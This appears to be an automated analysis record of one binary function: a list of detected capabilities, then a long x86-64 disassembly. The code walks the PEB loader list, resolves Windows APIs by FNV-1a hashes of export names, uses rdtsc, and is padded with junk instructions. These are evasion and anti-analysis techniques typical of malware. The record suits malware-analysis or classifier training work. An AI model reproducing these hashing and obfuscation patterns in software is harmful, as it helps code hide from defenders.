Function at 0x1406683c9
Capabilities:
Access peb ldr_data
Check os version
Encode data using base64
Execute anti-debugging instructions
Get ntdll base address
Get number of processors
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rcx
cmc
or ax, 0x1d36
push rdi
sub rsp, 0x790
mov dword [rsp + 0x6f0], 0x50
cmovnp ax, ax
bsr ax, si
cmp r13w, 0x17af
mov dword [rsp + 0x6f4], 3
bts ax, r13w
and ax, cx
shld ax, bx, 0x99
lea rax, [0x140025ae8]
mov qword [rsp + 0x6f8], rax
mov dword [rsp + 0x700], 0
mov dword [rsp + 0x704], 0
jmp 0x140668439
sub ecx, ecx
call fcn.14042cd12
mov qword [rsp + 0x708], rax
ror al, 0x9a
mov ecx, 0x1186608b
mov qword [rsp + 0x710], 0
adc al, 0x9d
mov qword [rsp + 0x718], 0
setnp ah
stc
mov qword [rsp + 0x720], 0
movzx ax, dil
mov qword [rsp + 0x728], 0
movsx eax, r15w
and rcx, 0x37ab469e
neg cx
lea rax, str.HiddenClass
movzx ecx, si
ror cl, 0xa6
mov qword [rsp + 0x730], rax
movsx rcx, r9w
mov qword [rsp + 0x738], 0
lea rax, [rsp + 0x6f0]
mov qword [rsp + 0x3a8], rax
test r10w, 0xd510
add al, bl
mov rax, qword [rsp + 0x750]
movsx cx, ah
mov qword [rsp + 0x268], rax
ror ah, cl
mov rax, qword gs:[0x60]
test r14w, r15w
adc cx, 0xa719
mov qword [rsp + 0x6a0], rax
shld ecx, r11d, 0x16
sub ch, 0x8f
bswap ax
mov rax, qword [rsp + 0x6a0]
bts cx, ax
bts rcx, r14
mov rax, qword [rax + 0x18]
sub cl, r11b
movzx cx, r15b
mov qword [rsp + 0x6a8], rax
sub ax, 0xff24
add rcx, 0xffffffffee026abb
dec al
mov rax, qword [rsp + 0x6a8]
mov rax, qword [rax + 0x10]
cmovle cx, r12w
mov qword [rsp + 0x6b0], rax
shl ch, 0x99
mov rax, qword [rsp + 0x6b0]
btr cx, 0x38
xor cx, r9w
btc cx, r8w
mov qword [rsp + 0x260], rax
btc cx, 0x3a
shrd ax, si, 0x20
bts cx, r13w
mov rax, qword [rsp + 0x260]
btc ecx, r15d
test bl, r10b
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x158], rax
mov rax, qword [rsp + 0x158]
btc ecx, 0x3f
inc cl
mov qword [rsp + 0x170], rax
and ch, 0xae
mov rax, qword [rsp + 0x158]
rcr cl, cl
test bx, dx
movsxd rax, dword [rax + 0x3c]
mov cx, bx
shrd cx, r8w, 0xa
clc
mov rcx, qword [rsp + 0x158]
cmp r15d, 0xc584dbaa
cmp spl, r12b
add rcx, rax
cmp r8b, 8
cmovne ax, ax
shrd rax, r12, 0xb3
mov rax, rcx
movsx cx, r9b
mov cx, r10w
mov qword [rsp + 0x6b8], rax
shld eax, r11d, 0x3f
ror eax, cl
mov eax, 8
sbb cl, r9b
imul rax, rax, 0
mov rcx, qword [rsp + 0x6b8]
cmp r13b, r14b
test r9w, 0xce3f
cmp r9b, 0x37
mov rax, qword [rcx + rax + 0x88]
and ch, dh
mov qword [rsp + 0x358], rax
sar al, 0x87
cwde
shrd ax, ax, 0x10
mov eax, dword [rsp + 0x358]
bt cx, r12w
mov rcx, qword [rsp + 0x158]
test r8b, 0x87
cmp rbx, rbx
lea rcx, [rcx + rax]
cmova ax, r8w
btr ax, dx
mov rax, rcx
mov qword [rsp + 0x178], rax
lahf
adc rax, 0x18ae8e91
mov eax, dword [rsp + 0x35c]
test r13w, 0x9e87
mov dword [rsp + 0x180], eax
mov rax, qword [rsp + 0x170]
cmp r13b, r12b
cmp qword [rsp + 0x178], rax
je 0x1406686d1
mov dword [rsp + 0x114], 1
jmp 0x1406686cc
jmp 0x1406686df
mov dword [rsp + 0x114], 0
setne al
mov al, byte [rsp + 0x114]
test r11d, edx
cmc
mov byte [rsp + 0x70], al
movzx eax, byte [rsp + 0x70]
cmp r10d, 0x1da46b08
cmc
test eax, eax
jmp 0x140668702
je 0x1406689f0
mov rax, qword [rsp + 0x178]
jmp 0x140668715
mov eax, dword [rax + 0x18]
jmp 0x14066871d
mov dword [rsp + 0x88], eax
mov eax, dword [rsp + 0x88]
mov dword [rsp + 0x248], eax
mov eax, dword [rsp + 0x88]
jmp 0x14066873e
dec eax
clc
cmp r8b, 0x95
mov dword [rsp + 0x88], eax
stc
cmc
cmp dword [rsp + 0x248], 0
jmp 0x14066875b
je 0x1406689f0
mov rax, qword [rsp + 0x178]
inc ch
mov eax, dword [rax + 0x20]
sub cx, r10w
mov rcx, qword [rsp + 0x170]
cmp esp, esp
lea rcx, [rcx + rax]
nop
mov ah, dh
mov rax, rcx
xadd cl, cl
and cl, 0x8c
adc cx, 0x7f0b
mov ecx, dword [rsp + 0x88]
cmc
mov eax, dword [rax + rcx*4]
clc
cmp rax, r9
add rax, qword [rsp + 0x170]
mov qword [rsp + 0x6c0], rax
movzx rax, bp
mov rax, qword [rsp + 0x6c0]
jmp 0x1406687c2
mov qword [rsp + 0x258], rax
cmovo ax, r11w
movsx ax, dh
mov dword [rsp + 0xa8], 0x811c9dc5
cdqe
movsx eax, bp
mov rax, 0x3e936a20
mov rax, qword [rsp + 0x258]
jmp 0x1406687f7
mov al, byte [rax]
jmp 0x1406687fe
mov byte [rsp + 0x71], al
mov rax, qword [rsp + 0x258]
jmp 0x14066880f
inc rax
jmp 0x14066881b
mov qword [rsp + 0x258], rax
add al, 0xad
mov al, byte [rsp + 0x71]
mov byte [rsp + 0x60], al
neg ax
movsx eax, byte [rsp + 0x60]
cmp r10b, 0x31
test r9b, 0x9d
test eax, eax
jne 0x140668862
mov eax, dword [rsp + 0xa8]
jmp 0x140668851
mov dword [rsp + 0x24c], eax
jmp 0x14066885d
jmp 0x14066890b
movsx eax, byte [rsp + 0x60]
test r14w, 0x6aa2
test r11w, bp
cmp eax, 0x41
jmp 0x140668879
jl 0x1406688ac
movsx eax, byte [rsp + 0x60]
stc
cmp eax, 0x5a
jg 0x1406688ac
movsx eax, byte [rsp + 0x60]
clc
test r12b, 0x8f
or eax, 0x20
jmp 0x1406688a0
mov dword [rsp + 0xd8], eax
jmp 0x1406688be
movsx eax, byte [rsp + 0x60]
setle cl
mov dword [rsp + 0xd8], eax
and ah, dl
cwde
mov eax, dword [rsp + 0xd8]
or ch, 0x22
inc ch
mov ecx, dword [rsp + 0xa8]
xor ecx, eax
cbw
adc al, 2
movzx eax, r15w
mov eax, ecx
cmp cx, 0xea2e
mov eax, eax
cmp r10b, r8b
test r14d, 0x7a02be25
imul rax, rax, 0x1000193
jmp 0x1406688fa
mov dword [rsp + 0xa8], eax
jmp 0x140668906
jmp 0x1406687ea
cmp dword [rsp + 0x24c], 0x7c72f9ee
jmp 0x14066891b
jne 0x1406689eb
mov rax, qword [rsp + 0x178]
btr ecx, 0xb3
cmovs cx, r14w
ror rcx, cl
mov eax, dword [rax + 0x1c]
sbb ecx, 0xed3c2029
add rax, qword [rsp + 0x170]
shld rcx, rdi, 0x23
mov qword [rsp + 0x6d0], rax
cmp r10w, 0x2684
seto cl
mov rax, qword [rsp + 0x178]
movzx cx, r15b
bts ecx, r11d
mov eax, dword [rax + 0x24]
mov rcx, rbx
add rax, qword [rsp + 0x170]
movsx cx, spl
mov qword [rsp + 0x6c8], rax
mov eax, dword [rsp + 0x88]
mov rcx, qword [rsp + 0x6c8]
cmp r9b, r9b
movzx eax, word [rcx + rax*2]
rcl cl, cl
xor ch, 0x3b
mov rcx, qword [rsp + 0x6d0]
cmp dx, 0x89b3
cmp cl, bl
mov eax, dword [rcx + rax*4]
add rax, qword [rsp + 0x170]
jmp 0x1406689c2
mov qword [rsp + 0x6d8], rax
mov ax, r14w
movzx eax, sp
mov rax, qword [rsp + 0x6d8]
mov qword [rsp + 0x268], rax
jmp 0x1406689e6
jmp 0x140668a51
jmp 0x140668724
mov rax, qword [rsp + 0x260]
mov qword [rsp + 0x398], rax
cmc
add ax, di
mov rax, qword [rsp + 0x398]
mov rax, qword [rax]
mov qword [rsp + 0x3a0], rax
bts ax, si
mov rax, qword [rsp + 0x3a0]
mov qword [rsp + 0x260], rax
mov byte [rsp + 0x72], 1
movzx eax, byte [rsp + 0x72]
stc
cmp r10b, 0x2a
test eax, eax
jne 0x14066858b
mov qword [rsp + 0x268], 0
movzx eax, sp
lea rax, [rsp + 0x3a8]
mov qword [rsp + 0x3b0], rax
mov rax, qword [rsp + 0x3b0]
movzx ecx, r15w
movsx rcx, di
mov rax, qword [rax]
mov qword [rsp + 0x3b8], rax
mov rcx, qword [rsp + 0x3b8]
jmp 0x140668a89
call qword [rsp + 0x268]
movzx eax, ax
clc
test eax, eax
jmp 0x140668a9b
jne 0x140668aa8
sub eax, eax
jmp 0x14066b65f
mov rax, qword gs:[0x60]
sal cx, 0x1f
movzx ecx, bp
and cl, sil
mov qword [rsp + 0x3c0], rax
sar ax, cl
mov rax, qword [rsp + 0x3c0]
sal rcx, cl
rcl cx, cl
mov rax, qword [rax + 0x18]
sbb cx, sp
btr cx, 2
mov qword [rsp + 0x3c8], rax
lahf
mov rax, qword [rsp + 0x3c8]
shr ch, 0xbf
add ecx, edx
sar cl, 0x1d
mov rax, qword [rax + 0x10]
cmove cx, r10w
cmp r14b, sil
btc ecx, r11d
mov qword [rsp + 0x3d0], rax
add ah, 0x33
rcl rax, cl
mov rax, qword [rsp + 0x3d0]
sal rcx, 0x95
mov qword [rsp + 0x278], rax
cmc
mov rax, qword [rsp + 0x278]
neg cx
mov rax, qword [rax + 0x30]
not cx
and cl, r10b
mov qword [rsp + 0x168], rax
movsx cx, r15b
mov rax, qword [rsp + 0x168]
rcl ch, cl
not ecx
sub ch, 0xa4
mov qword [rsp + 0x188], rax
sal al, cl
add cl, 0x1e
mov rax, qword [rsp + 0x168]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x168]
lea rcx, [rcx + rax]
sal ax, 0x96
stc
cmp r8b, 0xbb
mov rax, rcx
adc ch, 0xb0
movzx rcx, r14w
mov qword [rsp + 0x3d8], rax
mov eax, 8
shld rcx, rcx, 0xbd
movzx cx, r13b
sbb ch, cl
imul rax, rax, 0
clc
movsxd rcx, r9d
sbb ch, 0x87
mov rcx, qword [rsp + 0x3d8]
stc
mov rax, qword [rcx + rax + 0x88]
sar cx, cl
cmp r11w, 0xae8b
mov qword [rsp + 0x360], rax
sub al, r11b
sar cx, 0xae
mov eax, dword [rsp + 0x360]
rol cx, cl
mov rcx, qword [rsp + 0x168]
cmp r12d, 0x74848f18
add rcx, rax
movsx rax, dx
bt eax, edx
add eax, r14d
mov rax, rcx
cmc
cmp r11b, 0x30
mov qword [rsp + 0x190], rax
mov eax, dword [rsp + 0x364]
cmc
test ebx, 0x321926a6
mov dword [rsp + 0x198], eax
sbb al, r8b
dec rax
mov rax, qword [rsp + 0x188]
cmp r11d, esp
cmp qword [rsp + 0x190], rax
jmp 0x140668c4b
je 0x140668c66
mov dword [rsp + 0xdc], 1
jmp 0x140668c61
jmp 0x140668c71
mov dword [rsp + 0xdc], 0
mov al, byte [rsp + 0xdc]
cmp dil, cl
mov byte [rsp + 0x73], al
clc
cbw
adc al, 0xbb
movzx eax, byte [rsp + 0x73]
cmc
test eax, eax
jmp 0x140668c91
je 0x140668f83
mov rax, qword [rsp + 0x190]
jmp 0x140668ca4
mov eax, dword [rax + 0x18]
jmp 0x140668cac
mov dword [rsp + 0x8c], eax
setns al
mov eax, dword [rsp + 0x8c]
jmp 0x140668cc2
mov dword [rsp + 0x250], eax
mov ax, 0x75a5
cbw
mov eax, dword [rsp + 0x8c]
jmp 0x140668cdb
dec eax
mov dword [rsp + 0x8c], eax
test r12w, 0x1305
cmp dword [rsp + 0x250], 0
je 0x140668f83
mov rax, qword [rsp + 0x190]
bt cx, 0xa7
or cx, 0x4885
rcl cl, cl
mov eax, dword [rax + 0x20]
bsf rcx, r10
bts cx, bp
mov rcx, qword [rsp + 0x188]
stc
add rcx, rax
bt ax, r10w
sal al, cl
mov rax, rcx
bswap cx
ror cl, cl
mov ecx, dword [rsp + 0x8c]
mov eax, dword [rax + rcx*4]
add rax, qword [rsp + 0x188]
jmp 0x140668d49
mov qword [rsp + 0x3e0], rax
movsx ax, r13b
mov rax, qword [rsp + 0x3e0]
jmp 0x140668d63
mov qword [rsp + 0x270], rax
lahf
mov dword [rsp + 0xac], 0x811c9dc5
not ax
mov rax, qword [rsp + 0x270]
mov al, byte [rax]
jmp 0x140668d89
mov byte [rsp + 0x74], al
bswap ax
movzx rax, dx
mov rax, qword [rsp + 0x270]
jmp 0x140668da1
inc rax
cmc
test r9b, 0x27
mov qword [rsp + 0x270], rax
mov al, byte [rsp + 0x74]
cmc
cmp eax, 0xb7916e2c
mov byte [rsp + 0x61], al
or al, bpl
movsx eax, byte [rsp + 0x61]
jmp 0x140668dcc
test eax, eax
jne 0x140668df1
mov eax, dword [rsp + 0xac]
jmp 0x140668de0
mov dword [rsp + 0x2d0], eax
jmp 0x140668dec
jmp 0x140668ea6
movsx eax, byte [rsp + 0x61]
jmp 0x140668e01
cmp eax, 0x41
jmp 0x140668e09
jl 0x140668e45
movsx eax, byte [rsp + 0x61]
cmc
cmp eax, 0x5a
jmp 0x140668e1d
jg 0x140668e45
movsx eax, byte [rsp + 0x61]
stc
cmc
test al, 0xb5
or eax, 0x20
jmp 0x140668e34
mov dword [rsp + 0xe0], eax
jmp 0x140668e40
jmp 0x140668e6a
movsx eax, byte [rsp + 0x61]
sub cl, r9b
sal cx, 0x1a
test r9d, 0xca0c0a1b
mov dword [rsp + 0xe0], eax
btr rax, r15
adc ch, ch
movsx ax, r12b
mov eax, dword [rsp + 0xe0]
mov ecx, dword [rsp + 0xac]
cmc
xor ecx, eax
btr ax, 0xbd
bswap ax
shl al, 0xa
mov eax, ecx
clc
test rdi, rsi
mov eax, eax
imul rax, rax, 0x1000193
jmp 0x140668e9a
mov dword [rsp + 0xac], eax
jmp 0x140668d7a
cmp dword [rsp + 0x2d0], 0x1150b845
jne 0x140668f7e
mov rax, qword [rsp + 0x190]
mov cx, 0x5b3a
mov eax, dword [rax + 0x1c]
ror cl, cl
mov cl, r14b
add rax, qword [rsp + 0x188]
test rcx, 0x770c449b
mov qword [rsp + 0x3f0], rax
mov rax, qword [rsp + 0x190]
and cx, 0x6613
mov eax, dword [rax + 0x24]
sub cx, 0x1dab
test r10w, cx
bts cx, cx
add rax, qword [rsp + 0x188]
shl cx, cl
mov qword [rsp + 0x3e8], rax
add rcx, r13
mov ax, r15w
rol rcx, cl
mov eax, dword [rsp + 0x8c]
stc
sar cx, 0xb7
mov rcx, qword [rsp + 0x3e8]
cmc
movzx eax, word [rcx + rax*2]
sar cl, 0x81
mov rcx, qword [rsp + 0x3f0]
mov eax, dword [rcx + rax*4]
jmp 0x140668f49
add rax, qword [rsp + 0x188]
jmp 0x140668f56
mov qword [rsp + 0x3f8], rax
sete ah
not ax
mov rax, qword [rsp + 0x3f8]
mov qword [rsp + 0x368], rax
jmp 0x140668f79
jmp 0x14066900e
jmp 0x140668cb6
mov rax, qword [rsp + 0x278]
jmp 0x140668f91
mov qword [rsp + 0x400], rax
dec ah
btr rax, rbx
xor ah, cl
mov rax, qword [rsp + 0x400]
mov rax, qword [rax]
cmc
stc
mov qword [rsp + 0x408], rax
cmovns rax, r14
mov ax, 0xf322
movsx rax, di
mov rax, qword [rsp + 0x408]
cmp bp, 0x3b92
jmp 0x140668fd4
mov qword [rsp + 0x278], rax
mov byte [rsp + 0x75], 1
adc eax, 0xccabfca2
cmp r10b, 0x2c
movzx eax, byte [rsp + 0x75]
cmc
test eax, eax
jmp 0x140668ff7
jne 0x140668b2c
mov qword [rsp + 0x368], 0
jmp 0x14066900e
call qword [rsp + 0x368]
mov qword [rsp + 0x470], rax
lea rax, [rsp + 0x740]
sbb cl, r9b
mov qword [rsp + 0x460], rax
shld cx, sp, 0x1d
mov rax, qword [rsp + 0x758]
mov qword [rsp + 0x290], rax
mov rax, qword gs:[0x60]
xchg rcx, rcx
adc ch, 0xaa
bsr ecx, ebp
mov qword [rsp + 0x410], rax
bts ecx, r9d
mov rax, qword [rsp + 0x410]
shr cx, cl
inc ch
mov rax, qword [rax + 0x18]
rol cx, 0x83
rcl rcx, 0x99
mov cl, 0xb3
mov qword [rsp + 0x418], rax
bt rcx, 4
mov rax, qword [rsp + 0x418]
btr rcx, r14
mov rax, qword [rax + 0x10]
movzx rcx, ax
rcl rcx, 0x37
adc ch, 0xb6
mov qword [rsp + 0x420], rax
mov ecx, 0x33a3ec96
bsr ax, r9w
mov rax, qword [rsp + 0x420]
sbb cl, spl
mov qword [rsp + 0x288], rax
bsr rcx, r12
dec cx
sal cl, cl
mov rax, qword [rsp + 0x288]
sal cx, cl
mov cl, 1
mov rax, qword [rax + 0x30]
xadd cx, cx
bsf rcx, r14
sbb cx, r10w
mov qword [rsp + 0x128], rax
adc ah, 0xbd
mov rax, qword [rsp + 0x128]
rcl cx, 0x1f
mov qword [rsp + 0x1a0], rax
add rcx, 0x6f85dd33
mov rax, qword [rsp + 0x128]
movsxd rax, dword [rax + 0x3c]
xadd rcx, rcx
shl ch, 0x19
mov rcx, qword [rsp + 0x128]
cmp r8, rsi
lea rcx, [rcx + rax]
btc ax, 0x20
bts ax, sp
add ax, 0x8a90
mov rax, rcx
ror rcx, 0x25
cmp r11b, 0xad
and ch, 0x88
mov qword [rsp + 0x428], rax
ror cl, 0x94
test r9, r11
bsf cx, r14w
mov eax, 8
movsx rcx, r11w
imul rax, rax, 0
xadd ecx, ecx
ror rcx, 0xb4
mov rcx, qword [rsp + 0x428]
mov rax, qword [rcx + rax + 0x88]
btr ecx, ebp
ror rcx, cl
btc cx, 0x1b
mov qword [rsp + 0x370], rax
neg al
mov eax, dword [rsp + 0x370]
bswap cx
mov rcx, qword [rsp + 0x128]
clc
test esi, r11d
cmc
add rcx, rax
ror ax, 0x8b
mov rax, rcx
mov qword [rsp + 0x1a8], rax
mov eax, dword [rsp + 0x374]
cmp rbx, 0xffffffffe5832210
jmp 0x1406691dd
mov dword [rsp + 0x1b0], eax
cbw
mov rax, qword [rsp + 0x1a0]
test r14w, r8w
stc
cmp qword [rsp + 0x1a8], rax
jmp 0x140669200
je 0x14066921b
mov dword [rsp + 0xe4], 1
jmp 0x140669216
jmp 0x14066922b
mov dword [rsp + 0xe4], 0
jmp 0x14066922b
mov al, byte [rsp + 0xe4]
cmp r8, rsi
jmp 0x14066923a
mov byte [rsp + 0x76], al
bswap ax
movzx eax, byte [rsp + 0x76]
test eax, eax
jmp 0x14066924d
je 0x14066951a
mov rax, qword [rsp + 0x1a8]
jmp 0x140669260
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x90], eax
mov eax, dword [rsp + 0x90]
jmp 0x140669276
mov dword [rsp + 0x310], eax
seto ah
jmp 0x14066928a
mov eax, dword [rsp + 0x90]
jmp 0x140669296
dec eax
mov dword [rsp + 0x90], eax
cmp dword [rsp + 0x310], 0
jmp 0x1406692ac
je 0x14066951a
mov rax, qword [rsp + 0x1a8]
stc
cmp dl, 0x90
mov eax, dword [rax + 0x20]
bt cx, di
mov rcx, qword [rsp + 0x1a0]
test r13w, 0x687
cmp sil, 0xa2
add rcx, rax
ror ah, 0x32
mov rax, rcx
neg rcx
movzx cx, r14b
mov ecx, dword [rsp + 0x90]
cmp sil, r15b
cmp ecx, 0x819e1d10
cmc
mov eax, dword [rax + rcx*4]
add rax, qword [rsp + 0x1a0]
jmp 0x140669309
mov qword [rsp + 0x430], rax
jmp 0x14066931a
mov rax, qword [rsp + 0x430]
jmp 0x140669327
mov qword [rsp + 0x280], rax
mov dword [rsp + 0xb0], 0x811c9dc5
bswap eax
movzx rax, ax
movsxd rax, r9d
mov rax, qword [rsp + 0x280]
jmp 0x140669350
mov al, byte [rax]
jmp 0x140669357
mov byte [rsp + 0x77], al
cbw
bswap ax
mov rax, qword [rsp + 0x280]
jmp 0x14066936d
inc rax
cmp r8d, 0x879227a4
test r10, r12
mov qword [rsp + 0x280], rax
xor al, r15b
or al, r12b
mov al, byte [rsp + 0x77]
mov byte [rsp + 0x62], al
movsx eax, byte [rsp + 0x62]
test eax, eax
jne 0x1406693ba
mov eax, dword [rsp + 0xb0]
jmp 0x1406693a9
mov dword [rsp + 0x314], eax
jmp 0x1406693b5
jmp 0x140669449
movsx eax, byte [rsp + 0x62]
cmp eax, 0x41
jmp 0x1406693c7
jl 0x1406693fc
movsx eax, byte [rsp + 0x62]
cmp ch, 0xc
stc
cmp r11w, ax
cmp eax, 0x5a
jmp 0x1406693e2
jg 0x1406693fc
movsx eax, byte [rsp + 0x62]
or eax, 0x20
mov dword [rsp + 0xe8], eax
jmp 0x140669413
movsx eax, byte [rsp + 0x62]
sal cl, cl
sets cl
mov dword [rsp + 0xe8], eax
sbb cx, 0x8437
lahf
mov eax, dword [rsp + 0xe8]
rol ch, cl
mov ecx, dword [rsp + 0xb0]
xor ecx, eax
mov al, r10b
mov eax, ecx
stc
mov eax, eax
cmc
test r11, rbx
imul rax, rax, 0x1000193
jmp 0x14066943d
mov dword [rsp + 0xb0], eax
jmp 0x140669343
cmp dword [rsp + 0x314], 0xf175c356
jmp 0x140669459
jne 0x140669515
mov rax, qword [rsp + 0x1a8]
ror rcx, 0xbd
dec cx
mov eax, dword [rax + 0x1c]
add rax, qword [rsp + 0x1a0]
mov qword [rsp + 0x440], rax
rcl rcx, 0xae
btr cx, r13w
mov rax, qword [rsp + 0x1a8]
mov eax, dword [rax + 0x24]
add rax, qword [rsp + 0x1a0]
not cx
neg ch
mov qword [rsp + 0x438], rax
mov eax, dword [rsp + 0x90]
sal cx, 0x8e
btc cx, 0x2e
mov rcx, qword [rsp + 0x438]
cmp ebx, r15d
movzx eax, word [rcx + rax*2]
rol cx, 0x36
mov rcx, qword [rsp + 0x440]
cmp r14, rcx
cmp r15w, 0xcb2a
mov eax, dword [rcx + rax*4]
add rax, qword [rsp + 0x1a0]
jmp 0x1406694ee
mov qword [rsp + 0x448], rax
mov rax, qword [rsp + 0x448]
jmp 0x140669503
mov qword [rsp + 0x290], rax
jmp 0x140669510
jmp 0x14066958f
jmp 0x14066926a
mov rax, qword [rsp + 0x288]
cmc
clc
mov qword [rsp + 0x450], rax
mov rax, qword [rsp + 0x450]
stc
clc
mov rax, qword [rax]
cmc
clc
mov qword [rsp + 0x458], rax
test al, 0x84
test r14b, r12b
mov rax, qword [rsp + 0x458]
test dh, 0x99
mov qword [rsp + 0x288], rax
lahf
btc ax, 0x3d
mov byte [rsp + 0x78], 1
movzx ax, r11b
movzx eax, byte [rsp + 0x78]
stc
test r13b, r14b
cmc
test eax, eax
jne 0x1406690d4
mov qword [rsp + 0x290], 0
cbw
cwd
rdtsc
lea rax, [rsp + 0x460]
cdq
movsxd rcx, r9d
movsx rcx, bx
mov qword [rsp + 0x468], rax
mov rax, qword [rsp + 0x468]
mov rax, qword [rax]
cdq
mov qword [rsp + 0x480], rax
lea rax, [rsp + 0x470]
cdq
mov qword [rsp + 0x478], rax
movzx eax, r12w
movsxd rax, r10d
mov rax, qword [rsp + 0x478]
cmovbe rdx, rbx
cwd
movsxd rcx, r10d
mov rax, qword [rax]
mov ecx, ebp
cmovo rdx, rax
setns dh
mov qword [rsp + 0x488], rax
mov dl, r8b
mov rdx, qword [rsp + 0x480]
jmp 0x140669608
mov rcx, qword [rsp + 0x488]
jmp 0x140669615
call qword [rsp + 0x290]
lea rax, [0x1400b0b58]
stc
cmp bh, 0x9b
mov qword [rsp + 0x298], rax
cdqe
mov rax, qword [rsp + 0x298]
cmp ah, 0xc
cmp qword [rax], 0
jmp 0x140669645
jne 0x140669927
mov rax, qword gs:[0x60]
mov qword [rsp + 0x490], rax
rcl cl, 0x1f
mov rax, qword [rsp + 0x490]
movzx cx, r13b
sar cl, cl
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x498], rax
mov rax, qword [rsp + 0x498]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x4a0], rax
sar ax, 0x8e
rol cl, cl
mov rax, qword [rsp + 0x4a0]
shl ch, 0xa9
test esi, r12d
mov qword [rsp + 0x130], rax
bswap rax
xchg ch, al
neg al
mov rax, qword [rsp + 0x130]
bts cx, r13w
add rax, 0x58
mov qword [rsp + 0x378], rax
mov rax, qword [rsp + 0x378]
mov rax, qword [rax + 8]
ror cl, cl
mov qword [rsp + 0x118], rax
rcr rcx, 0xb4
bswap rax
mov rax, qword [rsp + 0x378]
jmp 0x1406696f4
movzx eax, word [rax]
btc rcx, 0xb
bsr rcx, rsp
sub edx, edx
sal cl, cl
sal cx, 0xa2
mov ecx, 2
jmp 0x140669712
div rcx
bswap rcx
mov rcx, qword [rsp + 0x118]
lea rax, [rcx + rax*2]
jmp 0x140669729
mov qword [rsp + 0x4a8], rax
mov dword [rsp + 0xb4], 0x811c9dc5
jmp 0x140669741
jmp 0x140669764
mov rax, qword [rsp + 0x118]
jmp 0x140669753
add rax, 2
mov qword [rsp + 0x118], rax
bt ax, 0x36
mov rax, qword [rsp + 0x4a8]
stc
cmp sil, 0x1e
test r13b, dl
cmp qword [rsp + 0x118], rax
jmp 0x140669781
je 0x14066983a
mov rax, qword [rsp + 0x118]
jmp 0x140669794
mov al, byte [rax]
mov byte [rsp + 0x68], al
shl al, 0xa4
movsx eax, byte [rsp + 0x68]
cmp eax, 0x41
jmp 0x1406697aa
jl 0x1406697e5
movsx eax, byte [rsp + 0x68]
cmp eax, r15d
stc
cmp eax, 0x5a
jmp 0x1406697c1
jg 0x1406697e5
movsx eax, byte [rsp + 0x68]
or eax, 0x20
jmp 0x1406697d4
mov dword [rsp + 0xec], eax
jmp 0x1406697e0
jmp 0x1406697fb
movsx eax, byte [rsp + 0x68]
mov dword [rsp + 0xec], eax
bsf ax, r12w
btc rax, 0x3e
mov eax, dword [rsp + 0xec]
bts cx, di
mov ecx, dword [rsp + 0xb4]
xor ecx, eax
setp ah
ror ah, cl
jmp 0x140669819
mov eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
jmp 0x140669829
mov dword [rsp + 0xb4], eax
jmp 0x140669835
jmp 0x140669746
mov eax, dword [rsp + 0xb4]
test al, r9b
mov dword [rsp + 0x318], eax
cmp r12d, esi
cmp r10w, 0x3c37
test cx, 0x8710
cmp dword [rsp + 0x318], 0xc0323159
jne 0x14066988d
mov rax, qword [rsp + 0x130]
jmp 0x140669877
mov rax, qword [rax + 0x30]
jmp 0x140669880
mov qword [rsp + 0x380], rax
jmp 0x14066990c
mov rax, qword [rsp + 0x130]
test r15w, 0xcbac
mov qword [rsp + 0x4b0], rax
mov rax, qword [rsp + 0x4b0]
jmp 0x1406698b0
mov rax, qword [rax]
test bx, 0x5c3b
mov qword [rsp + 0x4b8], rax
neg ah
shl ax, cl
rcl rax, cl
mov rax, qword [rsp + 0x4b8]
mov qword [rsp + 0x130], rax
adc al, spl
mov byte [rsp + 0x79], 1
add rax, r9
movzx eax, byte [rsp + 0x79]
test bl, r13b
cmp bl, 0xaf
test eax, eax
jmp 0x1406698f5
jne 0x1406696b1
mov qword [rsp + 0x380], 0
movsx rax, ax
cmc
mov rax, qword [rsp + 0x298]
shr ch, 0x99
sbb cl, spl
xor ch, ch
mov rcx, qword [rsp + 0x380]
mov qword [rax], rcx
mov rax, qword [rsp + 0x298]
jmp 0x140669934
mov rax, qword [rax]
mov qword [rsp + 0x138], rax
bsr ax, r9w
mov rax, qword [rsp + 0x760]
jmp 0x140669957
mov qword [rsp + 0x120], rax
cmp r12b, cl
xor eax, eax
stc
jmp 0x14066996a
test eax, eax
je 0x140669983
mov qword [rsp + 0x120], 0
jmp 0x140669d55
mov rax, qword [rsp + 0x138]
bsr rcx, r8
rcl cx, 0x28
mov qword [rsp + 0x328], rax
not al
and rax, r8
bt ax, sp
mov rax, qword [rsp + 0x138]
movsxd rax, dword [rax + 0x3c]
movsxd rcx, esp
mov rcx, qword [rsp + 0x138]
test r9b, 0x9b
add rcx, rax
shld ax, r9w, 0x3f
mov rax, rcx
mov qword [rsp + 0x4c0], rax
rol cl, cl
adc rcx, rdi
mov eax, 8
ror cl, 0x16
imul rax, rax, 0
add cx, dx
mov rcx, qword [rsp + 0x4c0]
cmc
cmp bpl, r14b
mov rax, qword [rcx + rax + 0x88]
mov qword [rsp + 0x388], rax
rcr ax, 0x38
mov eax, dword [rsp + 0x388]
mov rcx, qword [rsp + 0x138]
lea rcx, [rcx + rax]
sal rax, cl
sub ax, r15w
cbw
mov rax, rcx
jmp 0x140669a2b
mov qword [rsp + 0x330], rax
mov eax, dword [rsp + 0x38c]
cmp r8b, dl
mov dword [rsp + 0x338], eax
test dl, r13b
cmp r15b, 0xb7
jmp 0x140669a50
xor eax, eax
test eax, eax
jmp 0x140669a59
je 0x140669a70
mov qword [rsp + 0x120], 0
jmp 0x140669d55
mov dword [rsp + 0xa4], 0
jmp 0x140669a80
jmp 0x140669a9d
mov eax, dword [rsp + 0xa4]
jmp 0x140669a91
inc eax
mov dword [rsp + 0xa4], eax
cmp r10b, r9b
xor eax, eax
jmp 0x140669aa8
test eax, eax
jmp 0x140669aaf
je 0x140669aba
jmp 0x140669d40
mov rax, qword [rsp + 0x330]
sete ch
mov eax, dword [rax + 0x20]
bsr cx, r12w
cmp r14, 0x1d0840bf
mov rcx, qword [rsp + 0x328]
add rcx, rax
mov rax, rcx
bswap cx
mov ecx, dword [rsp + 0xa4]
cmp bl, r13b
mov eax, dword [rax + rcx*4]
cmp r13b, al
add rax, qword [rsp + 0x328]
jmp 0x140669b02
mov qword [rsp + 0x4c8], rax
setg ah
not ax
mov rax, qword [rsp + 0x4c8]
jmp 0x140669b1d
mov qword [rsp + 0x2a0], rax
